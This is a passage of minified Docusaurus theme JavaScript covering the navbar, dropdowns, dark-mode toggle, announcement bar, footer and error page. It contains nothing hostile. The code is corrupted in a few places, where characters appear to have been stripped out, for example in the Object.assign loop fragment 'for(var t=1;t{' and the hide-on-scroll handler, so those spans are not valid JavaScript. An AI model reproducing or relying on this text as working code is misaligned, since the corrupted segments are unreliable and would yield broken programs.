r.createElement(a.Provider,{value:i},t)}},301:(e,t,n)=>{"use strict";n.d(t,{Iw:()=>g,gA:()=>f,_r:()=>u,Jo:()=>h,zh:()=>d,yW:()=>m,gB:()=>p});var r=n(3442),a=n(2437),o=n(9435);function i(e,t){void 0===t&&(t={});const n=function(){const{globalData:e}=(0,a.Z)();return e}()[e];if(!n&&t.failfast)throw new Error(`Docusaurus plugin global data not found for "${e}" plugin.`);return n}const s=e=>e.versions.find((e=>e.isLast));function l(e,t){const n=function(e,t){const n=s(e);return[...e.versions.filter((e=>e!==n)),n].find((e=>!!(0,r.LX)(t,{path:e.path,exact:!1,strict:!1})))}(e,t),a=n?.docs.find((e=>!!(0,r.LX)(t,{path:e.path,exact:!0,strict:!1})));return{activeVersion:n,activeDoc:a,alternateDocVersions:a?function(t){const n={};return e.versions.forEach((e=>{e.docs.forEach((r=>{r.id===t&&(n[e.name]=r)}))})),n}(a.id):{}}}const c={},u=()=>i("docusaurus-plugin-content-docs")??c,d=e=>function(e,t,n){void 0===t&&(t=o.m),void 0===n&&(n={});const r=i(e),a=r?.[t];if(!a&&n.failfast)throw new Error(`Docusaurus plugin global data not found for "${e}" plugin with id "${t}".`);return a}("docusaurus-plugin-content-docs",e,{failfast:!0});function f(e){void 0===e&&(e={});const t=u(),{pathname:n}=(0,r.TH)();return function(e,t,n){void 0===n&&(n={});const a=Object.entries(e).sort(((e,t)=>t[1].path.localeCompare(e[1].path))).find((e=>{let[,n]=e;return!!(0,r.LX)(t,{path:n.path,exact:!1,strict:!1})})),o=a?{pluginId:a[0],pluginData:a[1]}:void 0;if(!o&&n.failfast)throw new Error(`Can't find active docs plugin for "${t}" pathname, while it was expected to be found. Maybe you tried to use a docs feature that can only be used on a docs-related page? Existing docs plugin paths are: ${Object.values(e).map((e=>e.path)).join(", ")}`);return o}(t,n,e)}function p(e){return d(e).versions}function m(e){const t=d(e);return s(t)}function g(e){const t=d(e),{pathname:n}=(0,r.TH)();return l(t,n)}function h(e){const t=d(e),{pathname:n}=(0,r.TH)();return function(e,t){const n=s(e);return{latestDocSuggestion:l(e,t).alternateDocVersions[n.name],latestVersionSuggestion:n}}(t,n)}},2423:(e,t,n)=>{"use strict";function r(e,t){e.prototype=Object.create(t.prototype),e.prototype.constructor=e,e.__proto__=t}function a(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(){return i=Object.assign||function(e){for(var t=1;t{"use strict";n.r(t),n.d(t,{default:()=>o});var r=n(9981),a=n.n(r);a().configure({showSpinner:!1});const o={onRouteUpdate(e){let{location:t,previousLocation:n}=e;if(n&&t.pathname!==n.pathname){const e=window.setTimeout((()=>{a().start()}),200);return()=>window.clearTimeout(e)}},onRouteDidUpdate(){a().done()}}},7791:(e,t,n)=>{"use strict";n.r(t);var r=n(999),a=n(6809);!function(e){const{themeConfig:{prism:t}}=a.default,{additionalLanguages:r}=t;globalThis.Prism=e,r.forEach((e=>{n(4383)(`./prism-${e}`)})),delete globalThis.Prism}(r.Z)},8441:(e,t,n)=>{"use strict";n.d(t,{Z:()=>o});var r=n(9496);const a={iconExternalLink:"iconExternalLink_EDmP"};function o(e){let{width:t=13.5,height:n=13.5}=e;return r.createElement("svg",{width:t,height:n,"aria-hidden":"true",viewBox:"0 0 24 24",className:a.iconExternalLink},r.createElement("path",{fill:"currentColor",d:"M21 13v10h-21v-19h12v2h-10v15h17v-8h2zm3-12h-10.988l4.035 4-6.977 7.07 2.828 2.828 6.977-7.07 4.125 4.172v-11z"}))}},6218:(e,t,n)=>{"use strict";n.d(t,{Z:()=>dt});var r=n(9496),a=n(5924),o=n(3680),i=n(6650),s=n(2564),l=n(3442),c=n(5449),u=n(7634);const d="__docusaurus_skipToContent_fallback";function f(e){e.setAttribute("tabindex","-1"),e.focus(),e.removeAttribute("tabindex")}function p(){const e=(0,r.useRef)(null),{action:t}=(0,l.k6)(),n=(0,r.useCallback)((e=>{e.preventDefault();const t=document.querySelector("main:first-of-type")??document.getElementById(d);t&&f(t)}),[]);return(0,u.S)((n=>{let{location:r}=n;e.current&&!r.hash&&"PUSH"===t&&f(e.current)})),{containerRef:e,onClick:n}}const m=(0,c.I)({id:"theme.common.skipToMainContent",description:"The skip to content label used for accessibility, allowing to rapidly navigate to main content with keyboard tab/enter navigation",message:"Skip to main content"});function g(e){const t=e.children??m,{containerRef:n,onClick:a}=p();return r.createElement("div",{ref:n,role:"region","aria-label":m},r.createElement("a",(0,s.Z)({},e,{href:`#${d}`,onClick:a}),t))}var h=n(9801),b=n(5894);const v={skipToContent:"skipToContent_ncxO"};function y(){return r.createElement(g,{className:v.skipToContent})}var w=n(3252),E=n(7249);function k(e){let{width:t=21,height:n=21,color:a="currentColor",strokeWidth:o=1.2,className:i,...l}=e;return r.createElement("svg",(0,s.Z)({viewBox:"0 0 15 15",width:t,height:n},l),r.createElement("g",{stroke:a,strokeWidth:o},r.createElement("path",{d:"M.75.75l13.5 13.5M14.25.75L.75 14.25"})))}const S={closeButton:"closeButton_dIwu"};function _(e){return r.createElement("button",(0,s.Z)({type:"button","aria-label":(0,c.I)({id:"theme.AnnouncementBar.closeButtonAriaLabel",message:"Close",description:"The ARIA label for close button of announcement bar"})},e,{className:(0,a.Z)("clean-btn close",S.closeButton,e.className)}),r.createElement(k,{width:14,height:14,strokeWidth:3.1}))}const x={content:"content_Yxav"};function C(e){const{announcementBar:t}=(0,w.L)(),{content:n}=t;return r.createElement("div",(0,s.Z)({},e,{className:(0,a.Z)(x.content,e.className),dangerouslySetInnerHTML:{__html:n}}))}const T={announcementBar:"announcementBar_IvQ_",announcementBarPlaceholder:"announcementBarPlaceholder_yLx0",announcementBarClose:"announcementBarClose_JGdf",announcementBarContent:"announcementBarContent_C2NL"};function A(){const{announcementBar:e}=(0,w.L)(),{isActive:t,close:n}=(0,E.nT)();if(!t)return null;const{backgroundColor:a,textColor:o,isCloseable:i}=e;return r.createElement("div",{className:T.announcementBar,style:{backgroundColor:a,color:o},role:"banner"},i&&r.createElement("div",{className:T.announcementBarPlaceholder}),r.createElement(C,{className:T.announcementBarContent}),i&&r.createElement(_,{onClick:n,className:T.announcementBarClose}))}var L=n(3302),N=n(3608);var O=n(9697),P=n(682);const I=r.createContext(null);function R(e){let{children:t}=e;const n=function(){const e=(0,L.e)(),t=(0,P.HY)(),[n,a]=(0,r.useState)(!1),o=null!==t.component,i=(0,O.D9)(o);return(0,r.useEffect)((()=>{o&&!i&&a(!0)}),[o,i]),(0,r.useEffect)((()=>{o?e.shown||a(!0):a(!1)}),[e.shown,o]),(0,r.useMemo)((()=>[n,a]),[n])}();return r.createElement(I.Provider,{value:n},t)}function M(e){if(e.component){const t=e.component;return r.createElement(t,e.props)}}function D(){const e=(0,r.useContext)(I);if(!e)throw new O.i6("NavbarSecondaryMenuDisplayProvider");const[t,n]=e,a=(0,r.useCallback)((()=>n(!1)),[n]),o=(0,P.HY)();return(0,r.useMemo)((()=>({shown:t,hide:a,content:M(o)})),[a,o,t])}function F(e){let{header:t,primaryMenu:n,secondaryMenu:o}=e;const{shown:i}=D();return r.createElement("div",{className:"navbar-sidebar"},t,r.createElement("div",{className:(0,a.Z)("navbar-sidebar__items",{"navbar-sidebar__items--show-secondary":i})},r.createElement("div",{className:"navbar-sidebar__item menu"},n),r.createElement("div",{className:"navbar-sidebar__item menu"},o)))}var B=n(4786),z=n(128);function $(e){return r.createElement("svg",(0,s.Z)({viewBox:"0 0 24 24",width:24,height:24},e),r.createElement("path",{fill:"currentColor",d:"M12,9c1.65,0,3,1.35,3,3s-1.35,3-3,3s-3-1.35-3-3S10.35,9,12,9 M12,7c-2.76,0-5,2.24-5,5s2.24,5,5,5s5-2.24,5-5 S14.76,7,12,7L12,7z M2,13l2,0c0.55,0,1-0.45,1-1s-0.45-1-1-1l-2,0c-0.55,0-1,0.45-1,1S1.45,13,2,13z M20,13l2,0c0.55,0,1-0.45,1-1 s-0.45-1-1-1l-2,0c-0.55,0-1,0.45-1,1S19.45,13,20,13z M11,2v2c0,0.55,0.45,1,1,1s1-0.45,1-1V2c0-0.55-0.45-1-1-1S11,1.45,11,2z M11,20v2c0,0.55,0.45,1,1,1s1-0.45,1-1v-2c0-0.55-0.45-1-1-1C11.45,19,11,19.45,11,20z M5.99,4.58c-0.39-0.39-1.03-0.39-1.41,0 c-0.39,0.39-0.39,1.03,0,1.41l1.06,1.06c0.39,0.39,1.03,0.39,1.41,0s0.39-1.03,0-1.41L5.99,4.58z M18.36,16.95 c-0.39-0.39-1.03-0.39-1.41,0c-0.39,0.39-0.39,1.03,0,1.41l1.06,1.06c0.39,0.39,1.03,0.39,1.41,0c0.39-0.39,0.39-1.03,0-1.41 L18.36,16.95z M19.42,5.99c0.39-0.39,0.39-1.03,0-1.41c-0.39-0.39-1.03-0.39-1.41,0l-1.06,1.06c-0.39,0.39-0.39,1.03,0,1.41 s1.03,0.39,1.41,0L19.42,5.99z M7.05,18.36c0.39-0.39,0.39-1.03,0-1.41c-0.39-0.39-1.03-0.39-1.41,0l-1.06,1.06 c-0.39,0.39-0.39,1.03,0,1.41s1.03,0.39,1.41,0L7.05,18.36z"}))}function U(e){return r.createElement("svg",(0,s.Z)({viewBox:"0 0 24 24",width:24,height:24},e),r.createElement("path",{fill:"currentColor",d:"M9.37,5.51C9.19,6.15,9.1,6.82,9.1,7.5c0,4.08,3.32,7.4,7.4,7.4c0.68,0,1.35-0.09,1.99-0.27C17.45,17.19,14.93,19,12,19 c-3.86,0-7-3.14-7-7C5,9.07,6.81,6.55,9.37,5.51z M12,3c-4.97,0-9,4.03-9,9s4.03,9,9,9s9-4.03,9-9c0-0.46-0.04-0.92-0.1-1.36 c-0.98,1.37-2.58,2.26-4.4,2.26c-2.98,0-5.4-2.42-5.4-5.4c0-1.81,0.89-3.42,2.26-4.4C12.92,3.04,12.46,3,12,3L12,3z"}))}const j={toggle:"toggle_nHBA",toggleButton:"toggleButton_gmen",darkToggleIcon:"darkToggleIcon_JP4D",lightToggleIcon:"lightToggleIcon_vSGv",toggleButtonDisabled:"toggleButtonDisabled_Zoqn"};function Z(e){let{className:t,buttonClassName:n,value:o,onChange:i}=e;const s=(0,z.Z)(),l=(0,c.I)({message:"Switch between dark and light mode (currently {mode})",id:"theme.colorToggle.ariaLabel",description:"The ARIA label for the navbar color mode toggle"},{mode:"dark"===o?(0,c.I)({message:"dark mode",id:"theme.colorToggle.ariaLabel.mode.dark",description:"The name for the dark color mode"}):(0,c.I)({message:"light mode",id:"theme.colorToggle.ariaLabel.mode.light",description:"The name for the light color mode"})});return r.createElement("div",{className:(0,a.Z)(j.toggle,t)},r.createElement("button",{className:(0,a.Z)("clean-btn",j.toggleButton,!s&&j.toggleButtonDisabled,n),type:"button",onClick:()=>i("dark"===o?"light":"dark"),disabled:!s,title:l,"aria-label":l,"aria-live":"polite"},r.createElement($,{className:(0,a.Z)(j.toggleIcon,j.lightToggleIcon)}),r.createElement(U,{className:(0,a.Z)(j.toggleIcon,j.darkToggleIcon)})))}const H=r.memo(Z),V={darkNavbarColorModeToggle:"darkNavbarColorModeToggle_KAdR"};function W(e){let{className:t}=e;const n=(0,w.L)().navbar.style,a=(0,w.L)().colorMode.disableSwitch,{colorMode:o,setColorMode:i}=(0,B.I)();return a?null:r.createElement(H,{className:t,buttonClassName:"dark"===n?V.darkNavbarColorModeToggle:void 0,value:o,onChange:i})}var G=n(7836);function q(){return r.createElement(G.Z,{className:"navbar__brand",imageClassName:"navbar__logo",titleClassName:"navbar__title text--truncate"})}function Y(){const e=(0,L.e)();return r.createElement("button",{type:"button","aria-label":(0,c.I)({id:"theme.docs.sidebar.closeSidebarButtonAriaLabel",message:"Close navigation bar",description:"The ARIA label for close button of mobile sidebar"}),className:"clean-btn navbar-sidebar__close",onClick:()=>e.toggle()},r.createElement(k,{color:"var(--ifm-color-emphasis-600)"}))}function K(){return r.createElement("div",{className:"navbar-sidebar__brand"},r.createElement(q,null),r.createElement(W,{className:"margin-right--md"}),r.createElement(Y,null))}var Q=n(8462),X=n(1221),J=n(9051);function ee(e,t){return void 0!==e&&void 0!==t&&new RegExp(e,"gi").test(t)}var te=n(8441);function ne(e){let{activeBasePath:t,activeBaseRegex:n,to:a,href:o,label:i,html:l,isDropdownLink:c,prependBaseUrlToHref:u,...d}=e;const f=(0,X.Z)(a),p=(0,X.Z)(t),m=(0,X.Z)(o,{forcePrependBaseUrl:!0}),g=i&&o&&!(0,J.Z)(o),h=l?{dangerouslySetInnerHTML:{__html:l}}:{children:r.createElement(r.Fragment,null,i,g&&r.createElement(te.Z,c&&{width:12,height:12}))};return o?r.createElement(Q.Z,(0,s.Z)({href:u?m:o},d,h)):r.createElement(Q.Z,(0,s.Z)({to:f,isNavLink:!0},(t||n)&&{isActive:(e,t)=>n?ee(n,t.pathname):t.pathname.startsWith(p)},d,h))}function re(e){let{className:t,isDropdownItem:n=!1,...o}=e;const i=r.createElement(ne,(0,s.Z)({className:(0,a.Z)(n?"dropdown__link":"navbar__item navbar__link",t),isDropdownLink:n},o));return n?r.createElement("li",null,i):i}function ae(e){let{className:t,isDropdownItem:n,...o}=e;return r.createElement("li",{className:"menu__list-item"},r.createElement(ne,(0,s.Z)({className:(0,a.Z)("menu__link",t)},o)))}function oe(e){let{mobile:t=!1,position:n,...a}=e;const o=t?ae:re;return r.createElement(o,(0,s.Z)({},a,{activeClassName:a.activeClassName??(t?"menu__link--active":"navbar__link--active")}))}var ie=n(9593),se=n(9513),le=n(2437);function ce(e,t){return e.some((e=>function(e,t){return!!(0,se.Mg)(e.to,t)||!!ee(e.activeBaseRegex,t)||!(!e.activeBasePath||!t.startsWith(e.activeBasePath))}(e,t)))}function ue(e){let{items:t,position:n,className:o,onClick:i,...l}=e;const c=(0,r.useRef)(null),[u,d]=(0,r.useState)(!1);return(0,r.useEffect)((()=>{const e=e=>{c.current&&!c.current.contains(e.target)&&d(!1)};return document.addEventListener("mousedown",e),document.addEventListener("touchstart",e),document.addEventListener("focusin",e),()=>{document.removeEventListener("mousedown",e),document.removeEventListener("touchstart",e),document.removeEventListener("focusin",e)}}),[c]),r.createElement("div",{ref:c,className:(0,a.Z)("navbar__item","dropdown","dropdown--hoverable",{"dropdown--right":"right"===n,"dropdown--show":u})},r.createElement(ne,(0,s.Z)({"aria-haspopup":"true","aria-expanded":u,role:"button",href:l.to?void 0:"#",className:(0,a.Z)("navbar__link",o)},l,{onClick:l.to?void 0:e=>e.preventDefault(),onKeyDown:e=>{"Enter"===e.key&&(e.preventDefault(),d(!u))}}),l.children??l.label),r.createElement("ul",{className:"dropdown__menu"},t.map(((e,t)=>r.createElement(_e,(0,s.Z)({isDropdownItem:!0,activeClassName:"dropdown__link--active"},e,{key:t}))))))}function de(e){let{items:t,className:n,position:o,onClick:i,...c}=e;const u=function(){const{siteConfig:{baseUrl:e}}=(0,le.Z)(),{pathname:t}=(0,l.TH)();return t.replace(e,"/")}(),d=ce(t,u),{collapsed:f,toggleCollapsed:p,setCollapsed:m}=(0,ie.u)({initialState:()=>!d});return(0,r.useEffect)((()=>{d&&m(!d)}),[u,d,m]),r.createElement("li",{className:(0,a.Z)("menu__list-item",{"menu__list-item--collapsed":f})},r.createElement(ne,(0,s.Z)({role:"button",className:(0,a.Z)("menu__link menu__link--sublist menu__link--sublist-caret",n)},c,{onClick:e=>{e.preventDefault(),p()}}),c.children??c.label),r.createElement(ie.z,{lazy:!0,as:"ul",className:"menu__list",collapsed:f},t.map(((e,t)=>r.createElement(_e,(0,s.Z)({mobile:!0,isDropdownItem:!0,onClick:i,activeClassName:"menu__link--active"},e,{key:t}))))))}function fe(e){let{mobile:t=!1,...n}=e;const a=t?de:ue;return r.createElement(a,n)}var pe=n(5187);function me(e){let{width:t=20,height:n=20,...a}=e;return r.createElement("svg",(0,s.Z)({viewBox:"0 0 24 24",width:t,height:n,"aria-hidden":!0},a),r.createElement("path",{fill:"currentColor",d:"M12.87 15.07l-2.54-2.51.03-.03c1.74-1.94 2.98-4.17 3.71-6.53H17V4h-7V2H8v2H1v1.99h11.17C11.5 7.92 10.44 9.75 9 11.35 8.07 10.32 7.3 9.19 6.69 8h-2c.73 1.63 1.73 3.17 2.98 4.56l-5.09 5.02L4 19l5-5 3.11 3.11.76-2.04zM18.5 10h-2L12 22h2l1.12-3h4.75L21 22h2l-4.5-12zm-2.62 7l1.62-4.33L19.12 17h-3.24z"}))}const ge="iconLanguage_sxYh";var he=n(920);const be={searchBox:"searchBox_tp3Z"};function ve(e){let{children:t,className:n}=e;return r.createElement("div",{className:(0,a.Z)(n,be.searchBox)},t)}var ye=n(301),we=n(7862);var Ee=n(2174);const ke=e=>e.docs.find((t=>t.id===e.mainDocId));const Se={default:oe,localeDropdown:function(e){let{mobile:t,dropdownItemsBefore:n,dropdownItemsAfter:a,...o}=e;const{i18n:{currentLocale:i,locales:u,localeConfigs:d}}=(0,le.Z)(),f=(0,pe.l)(),{search:p,hash:m}=(0,l.TH)(),g=[...n,...u.map((e=>{const n=`${`pathname://${f.createUrl({locale:e,fullyQualified:!1})}`}${p}${m}`;return{label:d[e].label,lang:d[e].htmlLang,to:n,target:"_self",autoAddBaseUrl:!1,className:e===i?t?"menu__link--active":"dropdown__link--active":""}})),...a],h=t?(0,c.I)({message:"Languages",id:"theme.navbar.mobileLanguageDropdown.label",description:"The label for the mobile language switcher dropdown"}):d[i].label;return r.createElement(fe,(0,s.Z)({},o,{mobile:t,label:r.createElement(r.Fragment,null,r.createElement(me,{className:ge}),h),items:g}))},search:function(e){let{mobile:t,className:n}=e;return t?null:r.createElement(ve,{className:n},r.createElement(he.Z,null))},dropdown:fe,html:function(e){let{value:t,className:n,mobile:o=!1,isDropdownItem:i=!1}=e;const s=i?"li":"div";return r.createElement(s,{className:(0,a.Z)({navbar__item:!o&&!i,"menu__list-item":o},n),dangerouslySetInnerHTML:{__html:t}})},doc:function(e){let{docId:t,label:n,docsPluginId:a,...o}=e;const{activeDoc:i}=(0,ye.Iw)(a),l=(0,we.vY)(t,a);return null===l?null:r.createElement(oe,(0,s.Z)({exact:!0},o,{isActive:()=>i?.path===l.path||!!i?.sidebar&&i.sidebar===l.sidebar,label:n??l.id,to:l.path}))},docSidebar:function(e){let{sidebarId:t,label:n,docsPluginId:a,...o}=e;const{activeDoc:i}=(0,ye.Iw)(a),l=(0,we.oz)(t,a).link;if(!l)throw new Error(`DocSidebarNavbarItem: Sidebar with ID "${t}" doesn't have anything to be linked to.`);return r.createElement(oe,(0,s.Z)({exact:!0},o,{isActive:()=>i?.sidebar===t,label:n??l.label,to:l.path}))},docsVersion:function(e){let{label:t,to:n,docsPluginId:a,...o}=e;const i=(0,we.lO)(a)[0],l=t??i.label,c=n??(e=>e.docs.find((t=>t.id===e.mainDocId)))(i).path;return r.createElement(oe,(0,s.Z)({},o,{label:l,to:c}))},docsVersionDropdown:function(e){let{mobile:t,docsPluginId:n,dropdownActiveClassDisabled:a,dropdownItemsBefore:o,dropdownItemsAfter:i,...u}=e;const{search:d,hash:f}=(0,l.TH)(),p=(0,ye.Iw)(n),m=(0,ye.gB)(n),{savePreferredVersionName:g}=(0,Ee.J)(n),h=[...o,...m.map((e=>{const t=p.alternateDocVersions[e.name]??ke(e);return{label:e.label,to:`${t.path}${d}${f}`,isActive:()=>e===p.activeVersion,onClick:()=>g(e.name)}})),...i],b=(0,we.lO)(n)[0],v=t&&h.length>1?(0,c.I)({id:"theme.navbar.mobileVersionsDropdown.label",message:"Versions",description:"The label for the navbar versions dropdown on mobile view"}):b.label,y=t&&h.length>1?void 0:ke(b).path;return h.length<=1?r.createElement(oe,(0,s.Z)({},u,{mobile:t,label:v,to:y,isActive:a?()=>!1:void 0})):r.createElement(fe,(0,s.Z)({},u,{mobile:t,label:v,to:y,items:h,isActive:a?()=>!1:void 0}))}};function _e(e){let{type:t,...n}=e;const a=function(e,t){return e&&"default"!==e?e:"items"in t?"dropdown":"default"}(t,n),o=Se[a];if(!o)throw new Error(`No NavbarItem component found for type "${t}".`);return r.createElement(o,n)}function xe(){const e=(0,L.e)(),t=(0,w.L)().navbar.items;return r.createElement("ul",{className:"menu__list"},t.map(((t,n)=>r.createElement(_e,(0,s.Z)({mobile:!0},t,{onClick:()=>e.toggle(),key:n})))))}function Ce(e){return r.createElement("button",(0,s.Z)({},e,{type:"button",className:"clean-btn navbar-sidebar__back"}),r.createElement(c.Z,{id:"theme.navbar.mobileSidebarSecondaryMenu.backButtonLabel",description:"The label of the back button to return to main menu, inside the mobile navbar sidebar secondary menu (notably used to display the docs sidebar)"},"\u2190 Back to main menu"))}function Te(){const e=0===(0,w.L)().navbar.items.length,t=D();return r.createElement(r.Fragment,null,!e&&r.createElement(Ce,{onClick:()=>t.hide()}),t.content)}function Ae(){const e=(0,L.e)();var t;return void 0===(t=e.shown)&&(t=!0),(0,r.useEffect)((()=>(document.body.style.overflow=t?"hidden":"visible",()=>{document.body.style.overflow="visible"})),[t]),e.shouldRender?r.createElement(F,{header:r.createElement(K,null),primaryMenu:r.createElement(xe,null),secondaryMenu:r.createElement(Te,null)}):null}const Le={navbarHideable:"navbarHideable_xzxR",navbarHidden:"navbarHidden_eJiE"};function Ne(e){return r.createElement("div",(0,s.Z)({role:"presentation"},e,{className:(0,a.Z)("navbar-sidebar__backdrop",e.className)}))}function Oe(e){let{children:t}=e;const{navbar:{hideOnScroll:n,style:o}}=(0,w.L)(),i=(0,L.e)(),{navbarRef:s,isNavbarVisible:l}=function(e){const[t,n]=(0,r.useState)(e),a=(0,r.useRef)(!1),o=(0,r.useRef)(0),i=(0,r.useCallback)((e=>{null!==e&&(o.current=e.getBoundingClientRect().height)}),[]);return(0,N.RF)(((t,r)=>{let{scrollY:i}=t;if(!e)return;if(i=s?n(!1):i+c{if(!e)return;const r=t.location.hash;if(r?document.getElementById(r.substring(1)):void 0)return a.current=!0,void n(!1);n(!0)})),{navbarRef:i,isNavbarVisible:t}}(n);return r.createElement("nav",{ref:s,"aria-label":(0,c.I)({id:"theme.NavBar.navAriaLabel",message:"Main",description:"The ARIA label for the main navigation"}),className:(0,a.Z)("navbar","navbar--fixed-top",n&&[Le.navbarHideable,!l&&Le.navbarHidden],{"navbar--dark":"dark"===o,"navbar--primary":"primary"===o,"navbar-sidebar--show":i.shown})},t,r.createElement(Ne,{onClick:i.toggle}),r.createElement(Ae,null))}var Pe=n(2855);const Ie={errorBoundaryError:"errorBoundaryError_Na_F"};function Re(e){return r.createElement("button",(0,s.Z)({type:"button"},e),r.createElement(c.Z,{id:"theme.ErrorPageContent.tryAgain",description:"The label of the button to try again rendering when the React error boundary captures an error"},"Try again"))}function Me(e){let{error:t}=e;const n=(0,Pe.getErrorCausalChain)(t).map((e=>e.message)).join("\n\nCause:\n");return r.createElement("p",{className:Ie.errorBoundaryError},n)}class De extends r.Component{componentDidCatch(e,t){throw this.props.onError(e,t)}render(){return this.props.children}}const Fe="right";function Be(e){let{width:t=30,height:n=30,className:a,...o}=e;return r.createElement("svg",(0,s.Z)({className:a,width:t,height:n,viewBox:"0 0 30 30","aria-hidden":"true"},o),r.createElement("path",{stroke:"currentColor",strokeLinecap:"round",strokeMiterlimit:"10",strokeWidth:"2",d:"M4 7h22M4 15h22M4 23h22"}))}function ze(){const{toggle:e,shown:t}=(0,L.e)();return r.createElement("button",{onClick:e,"aria-label":(0,c.I)({id:"theme.docs.sidebar.toggleSidebarButtonAriaLabel",message:"Toggle navigation bar",description:"The ARIA label for hamburger menu button of mobile navigation"}),"aria-expanded":t,className:"navbar__toggle clean-btn",type:"button"},r.createElement(Be,null))}const $e={colorModeToggle:"colorModeToggle_jEoN"};function Ue(e){let{items:t}=e;return r.createElement(r.Fragment,null,t.map(((e,t)=>r.createElement(De,{key:t,onError:t=>new Error(`A theme navbar item failed to render.\nPlease double-check the following navbar item (themeConfig.navbar.items) of your Docusaurus config:\n${JSON.stringify(e,null,2)}`,{cause:t})},r.createElement(_e,e)))))}function je(e){let{left:t,right:n}=e;return r.createElement("div",{className:"navbar__inner"},r.createElement("div",{className:"navbar__items"},t),r.createElement("div",{className:"navbar__items navbar__items--right"},n))}function Ze(){const e=(0,L.e)(),t=(0,w.L)().navbar.items,[n,a]=function(e){function t(e){return"left"===(e.position??Fe)}return[e.filter(t),e.filter((e=>!t(e)))]}(t),o=t.find((e=>"search"===e.type));return r.createElement(je,{left:r.createElement(r.Fragment,null,!e.disabled&&r.createElement(ze,null),r.createElement(q,null),r.createElement(Ue,{items:n})),right:r.createElement(r.Fragment,null,r.createElement(Ue,{items:a}),r.createElement(W,{className:$e.colorModeToggle}),!o&&r.createElement(ve,null,r.createElement(he.Z,null)))})}function He(){return r.createElement(Oe,null,r.createElement(Ze,null))}function Ve(e){let{item:t}=e;const{to:n,href:a,label:o,prependBaseUrlToHref:i,...l}=t,c=(0,X.Z)(n),u=(0,X.Z)(a,{forcePrependBaseUrl:!0});return r.createElement(Q.Z,(0,s.Z)({className:"footer__link-item"},a?{href:i?u:a}:{to:c},l),o,a&&!(0,J.Z)(a)&&r.createElement(te.Z,null))}function We(e){let{item:t}=e;return t.html?r.createElement("li",{className:"footer__item",dangerouslySetInnerHTML:{__html:t.html}}):r.createElement("li",{key:t.href??t.to,className:"footer__item"},r.createElement(Ve,{item:t}))}function Ge(e){let{column:t}=e;return r.createElement("div",{className:"col footer__col"},r.createElement("div",{className:"footer__title"},t.title),r.createElement("ul",{className:"footer__items clean-list"},t.items.map(((e,t)=>r.createElement(We,{key:t,item:e})))))}function qe(e){let{columns:t}=e;return r.createElement("div",{className:"row footer__links"},t.map(((e,t)=>r.createElement(Ge,{key:t,column:e}))))}function Ye(){return r.createElement("span",{className:"footer__link-separator"},"\xb7")}function Ke(e){let{item:t}=e;return t.html?r.createElement("span",{className:"footer__link-item",dangerouslySetInnerHTML:{__html:t.html}}):r.createElement(Ve,{item:t})}function Qe(e){let{links:t}=e;return r.createElement("div",{className:"footer__links text--center"},r.createElement("div",{className:"footer__links"},t.map(((e,n)=>r.createElement(r.Fragment,{key:n},r.createElement(Ke,{item:e}),t.length!==n+1&&r.createElement(Ye,null))))))}function Xe(e){let{links:t}=e;return function(e){return"title"in e[0]}(t)?r.createElement(qe,{columns:t}):r.createElement(Qe,{links:t})}var Je=n(8639);const et={footerLogoLink:"footerLogoLink_psZt"};function tt(e){let{logo:t}=e;const{withBaseUrl:n}=(0,X.C)(),o={light:n(t.src),dark:n(t.srcDark??t.src)};return r.createElement(Je.Z,{className:(0,a.Z)("footer__logo",t.className),alt:t.alt,sources:o,width:t.width,height:t.height,style:t.style})}function nt(e){let{logo:t}=e;return t.href?r.createElement(Q.Z,{href:t.href,className:et.footerLogoLink,target:t.target},r.createElement(tt,{logo:t})):r.createElement(tt,{logo:t})}function rt(e){let{copyright:t}=e;return r.createElement("div",{className:"footer__copyright",dangerouslySetInnerHTML:{__html:t}})}function at(e){let{style:t,links:n,logo:o,copyright:i}=e;return r.createElement("footer",{className:(0,a.Z)("footer",{"footer--dark":"dark"===t})},r.createElement("div",{className:"container container-fluid"},n,(o||i)&&r.createElement("div",{className:"footer__bottom text--center"},o&&r.createElement("div",{className:"margin-bottom--sm"},o),i)))}function ot(){const{footer:e}=(0,w.L)();if(!e)return null;const{copyright:t,links:n,logo:a,style:o}=e;return r.createElement(at,{style:o,links:n&&n.length>0&&r.createElement(Xe,{links:n}),logo:a&&r.createElement(nt,{logo:a}),copyright:t&&r.createElement(rt,{copyright:t})})}const it=r.memo(ot),st=(0,O.Qc)([B.S,E.pl,N.OC,Ee.L5,i.VC,function(e){let{children:t}=e;return r.createElement(P.n2,null,r.createElement(L.M,null,r.createElement(R,null,t)))}]);function lt(e){let{children:t}=e;return r.createElement(st,null,t)}function ct(e){let{error:t,tryAgain:n}=e;return r.createElement("main",{className:"container margin-vert--xl"},r.createElement("div",{className:"row"},r.createElement("div",{className:"col col--6 col--offset-3"},r.createElement("h1",{className:"hero__title"},r.createElement(c.Z,{id:"theme.ErrorPageContent.title",description:"The title of the fallback page when the page crashed"},"This page crashed.")),r.createElement("div",{className:"margin-vert--lg"},r.createElement(Re,{onClick:n,className:"button button--primary shadow--lw"})),r.createElement("hr",null),r.createElement("div",{className:"margin-vert--md"},r.createElement(Me,{error:t})))))}const ut={mainWrapper:"mainWrapper_fl_v"};function dt(e){const{children:t,noFooter:n,wrapperClassName:s,title:l,description:c}=e;return(0,b.t)(),r.createElement(lt,null,r.createElement(i.d,{title:l,description:c}),r.createElement(y,null),r.createElement(A,null),r.createElement(He,null),r.createElement("div",{id:d,className:(0,a.Z)(h.k.wrapper.main,ut.mainWrapper,s)},r.createElement(o.Z,{fallback:e=>r.createElement(ct,e)},t)),!n&&r.createElement(it,null))}},7836:(e,t,n)=>{"use strict";n.d(t,{Z:()=>d});var r=n(2564),a=n(9496),o=n(8462),i=n(1221),s=n(2437),l=n(3252),c=n(8639);function u(e){let{logo:t,alt:n,imageClassName:r}=e;const o={light:(0,i.Z)(t.src),dark:(0,i.Z)(t.srcDark||t.src)},s=a.createElement(c.Z,{className:t.className,sources:o,height:t.height,width:t.width,alt:n,style:t.style});return r?a.createElement("div",{className:r},s):s}function d(e){const{siteConfig:{title:t}}=(0,s.Z)(),{navbar:{title:n,logo:c}}=(0,l.L)(),{imageClassName:d,titleClassName:f,...p}=e,m=(0,i.Z)(c?.href||"/"),g=n?"":t,h=c?.alt??g;return 